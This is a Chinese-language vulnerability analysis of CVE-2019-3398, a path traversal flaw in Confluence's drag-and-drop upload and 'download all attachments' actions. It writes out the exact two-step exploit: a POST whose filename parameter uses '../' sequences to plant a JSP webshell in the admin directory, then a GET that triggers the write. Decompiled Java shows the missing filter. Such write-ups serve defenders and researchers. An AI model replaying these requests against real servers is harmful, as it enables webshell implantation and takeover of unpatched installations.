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(CVE-2019-3398)Confluence 路径穿越漏洞

一、漏洞简介

二、漏洞影响

2.0.0 \<= version \< 6.6.136.7.0 \<= version \< 6.12.46.13.0 \<= version \< 6.13.46.14.0 \<= version \< 6.14.36.15.0 \<= version \< 6.15.2

三、复现过程

漏洞分析

首先根据官方描述,downloadallattachments这个资源,结合其验证缓解措施的方式,找到了漏洞触发点:

... =》附件=》下载全部

点击下载全部时,会触发一个GET请求:

GET /pages/downloadallattachments.action?pageId=65601

然后响应

Location: /download/temp/downloadi120q121507.zip?contentType=application/zip

而且每次发出downloadallattachments.action请求,其响应的Location路径的zip文件名都不一样,发现原来是服务端每收到一次downloadallattachments.action请求,就会在download/temp/目录下生成一个zip文件:

1.png

搜索了一下,发现这个文件是在/Users/xxx/confluenceHome,也就是confluence的安装目录下。

cqq@ubuntu:~$ find .|grep download45lL6115220.zip
./confluenceHome/temp/download45lL6115220.zip

然后看到这个目录下还有一个attachments目录,为了验证这就是附件上传的目录,

2.png

于是,新建了一个页面,上传了几个文本文件,通过cat出来的内容与上传的内容匹配,判定这个就是上传的附件被存放的目录,但是这个目录下的文件名被重命名了。既然官方说是路径穿越漏洞,就得找到文件名或者文件路径的输入点。在这里上传文件的过程中抓一下包,发现有两个参数是文件名/文件路径相关的,filenamename,经过测试发现漏洞点参数是filename

漏洞复现

通过一番grep -rn xxx *的查找,发现需要两步来完成对路径穿越的利用。

1、POST /plugins/drag-and-drop/upload.action?pageId=65601&filename=../../../../../../Users/xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cqq2.jsp&size=754&minorEdit=true&spaceKey=ADMIN&mimeType=application%2Foctet-stream&atl_token=47ae1afbc53f1ed100a4c36053de2d754d48ffeb&contentType=page&isVFMSupported=true&name=cqq2.jsp先将webshell上传上去,其内容会出现在confluence的安装目录,即/Users/xxx/confluenceHome。注意上传的时候的size参数需与Content-Length值保持一致,服务端会对这个做校验,若发现不一致,则会导致500。在UploadAction#execute下断点

confluence/WEB-INF/atlassian-bundled-plugins/confluence-drag-and-drop-6.13.0.jar!/com/atlassian/confluence/plugins/dragdrop/UploadAction.class

通过

InputStream inStream = this.getStreamForEncoding(this.httpServletRequest);
this.fileUploadManager.storeResource(new InputStreamAttachmentResource(inStream, this.filename, this.mimeType, this.size, (String)null, this.minorEdit), (ContentEntityObject)content);

将POST的内容写入到缓存文件中:attachments/ver003//56/98/98306/101/65/65601/917509/1,3.pngfilename值没有对../进行过滤。44.png上传完成之后,打开"全部附件"页面,会出现我们刚刚上传上去的文件,其文件名没有对../进行过滤。5.png

2、GET /pages/downloadallattachments.action?pageId=65601然后通过这个GET请求,触发将缓存的webshell内容写入指定的路径操作。在DownloadAllAttachmentsOnPageAction#execute下断点

confluence/WEB-INF/lib/confluence-6.13.0.jar!com/atlassian/confluence/pages/actions/DownloadAllAttachmentsOnPageAction.class

文件内容:

public String execute() throws Exception {
        List&lt;Attachment&gt; latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());
        Iterator var2 = latestAttachments.iterator();

        while(var2.hasNext()) {
            Attachment attachment = (Attachment)var2.next();
            File tmpFile = new File(this.getTempDirectoryForZipping(), attachment.getFileName());
            InputStream inputStream = this.attachmentManager.getAttachmentData(attachment);
            Throwable var6 = null;

            try {
                OutputStream fileOutputStream = new FileOutputStream(tmpFile);  // tmpFile内容为/Users/Xxx/repos/confluenceRepos/temp/download8gHGV130701/../../../../../../Users/Xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cmd222.jsp
                Throwable var8 = null;

                try {
                    ByteStreams.copy(inputStream, fileOutputStream);  //将缓存文件写入指定的路径
                } catch (Throwable var31) {
                    var8 = var31;
                    throw var31;
                } finally {
                    if (fileOutputStream != null) {
                        if (var8 != null) {
                            try {
                                fileOutputStream.close();
                            } catch (Throwable var30) {
                                var8.addSuppressed(var30);
                            }
                        } else {
                            fileOutputStream.close();
                        }
                    }

                }
            } catch (Throwable var33) {
                var6 = var33;
                throw var33;
            } finally {
                if (inputStream != null) {
                    if (var6 != null) {
                        try {
                            inputStream.close();
                        } catch (Throwable var29) {
                            var6.addSuppressed(var29);
                        }
                    } else {
                        inputStream.close();
                    }
                }

            }
        }

        //confluence安装路径的temp目录下生成zip文件。
        File zipFile = new File(this.getConfluenceTempDirectoryPath() + File.separator + this.getZipFilename() + ".zip");
        FileUtils.createZipFile(this.getTempDirectoryForZipping(), zipFile);
        FileUtils.deleteDir(this.getTempDirectoryForZipping());
        this.downloadPath = this.prepareDownloadPath(zipFile.getPath()) + "?contentType=application/zip";
        this.gateKeeper.addKey(this.prepareDownloadPath(zipFile.getPath()), this.getAuthenticatedUser());
        return "success";
    }

先拿到Attachement列表

List&lt;Attachment&gt; latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());

然后对列表中每个附件进行遍历,从最前面的开始,

然后通过666.png

attachment.getFileName())

获得附件的名字(这里有我们之前设置好的payload文件名)然后执行

ByteStreams.copy(inputStream, fileOutputStream);

将之前缓存的上传文件copy到通过请求参数filename指定的路径下,实现路径穿越。7.png执行前后对比如下:8.png对比缓存文件和在指定路径生成的文件的sha1值对比:一致。9.pngConfluence本身就可以上传任意文件内容到服务端,但是会放在缓存目录下,文件路径不可控。关键地是,没有对filename请求参数进行过滤,有路径穿越漏洞,才能将指定文件名指定文件内容写入到文件系统中。

参考链接

https://xz.aliyun.com/t/4854